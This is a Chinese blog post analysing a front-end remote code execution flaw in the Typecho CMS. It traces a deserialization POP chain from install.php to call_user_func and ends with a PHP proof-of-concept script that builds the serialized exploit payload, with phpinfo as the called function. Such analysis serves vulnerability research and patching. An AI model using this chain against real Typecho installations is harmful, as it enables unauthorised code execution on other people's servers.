MitAh's Blog
Typecho 前台 getshell 漏洞分析
  • 2017年10月28日
  • 漏洞分析
  • 0评论
  • 513汉字
  • 615围观

最近 Typecho 爆出了前台 getshell 漏洞,对于这个 cms 我在之前就有尝试过源码审计,也在 install.php 找到了可控的反序列化点,但是没有构造到完整的 pop 链,后来就暂时放在了一边。前几天看到这个洞被打穿了,拜读了一下其他社区上的分析文章,感慨一下自己的姿势水平不够,还是要学习一个。自己做了一下漏洞复现,记录一下。

漏洞影响

影响版本
git commit 242fc1a4cb3d6076505f851fdcd9c1bbf3e431a5 之前的所有版本

修复版本
git commit e277141c974cd740702c5ce73f7e9f382c18d84e 之后的版本

本文分析的是官网提供的稳定版 1.0 (14.10.10)。


漏洞分析

漏洞的入口在 install.php,首先要绕过两个判断。

这里只要 /install.php?finish,并设置 referer 为站内url。

可控的反序列化点在代码的第230行

跟到 Typecho_Db 类中

注意到这里存在一个字符串拼接,如果构造 $adapterName 也就是 install.php 中的 $config['adapter'] 为一个类,那么就会调用该类的 __toString() 方法

搜索所有的 __toString() 方法,找到一个可以利用的 Typecho_Feed 类。

/var/Typecho/Feed.php 223行进入 __toString() ,272行进入第二个 if 判断。

重点在第290行,构造 $item['author'] 为一个类,screenName 为其私有变量,那么在外部调用一个类的私有变量时就会自动调用该类的 __get() 方法。

搜索所有的 __get() 方法,找到唯一一个可利用的 Typecho_Request 类。

/var/Typecho/Request.php 267行进入 __get() 方法。

跟进 get() 函数

跟进 _applyFilter() 函数

看到 call_user_func 函数,可以任意代码执行。那么整个 pop 链就已经构造完成。剩下就是构造变量来符合各种条件判断,打通整个利用过程。

这里所需要的条件判断,所有参数都是可控的。

最后还有一个注意点,在 install.php 的开始,调用了 ob_start(),在处理异常时调用 ob_end_clean(),清空了缓冲区的内容,导致不会回显。

可以直接构造一个报错来强制退出,将缓冲区中的数据输出。


POC

这里借用了一下 LoRexxar 师傅的 poc

<?php
class Typecho_Response {}
class Typecho_Request {
    private $_params = array();
    private $_filter = array();

    public function __construct() {
        $this->_params['screenName'] = -1;
        $this->_filter[0] = 'phpinfo';
        $z = new Typecho_Response;
        $this->_filter[1] = array($z, 'redirect');
    }
}

class Typecho_Feed {
    const RSS2 = 'RSS 2.0';
    /** 定义ATOM 1.0类型 */
    const ATOM1 = 'ATOM 1.0';
    /** 定义RSS时间格式 */
    const DATE_RFC822 = 'r';
    /** 定义ATOM时间格式 */
    const DATE_W3CDTF = 'c';
    /** 定义行结束符 */
    const EOL = "n";
    private $_type;
    private $_items = array();
    public $dateFormat;

    public function __construct() {
        $this->_type = self::RSS2;
        $item['link'] = '1';
        $item['title'] = '2';
        $item['date'] = 1507720298;
        $item['author'] = new Typecho_Request();
        $item['category'] = '1';

        $this->_items[0] = $item;
    }
}

$x = new Typecho_Feed();
$a = array(
    'host' => 'localhost',
    'user' => 'xxxxxx',
    'charset' => 'utf8',
    'port' => '3306',
    'database' => 'typecho',
    'adapter' => $x,
    'prefix' => 'typecho_'
);
echo urlencode(base64_encode(serialize($a)));
?>


复现

0 评论

分类目录
赞助二维码

支付宝

评论表情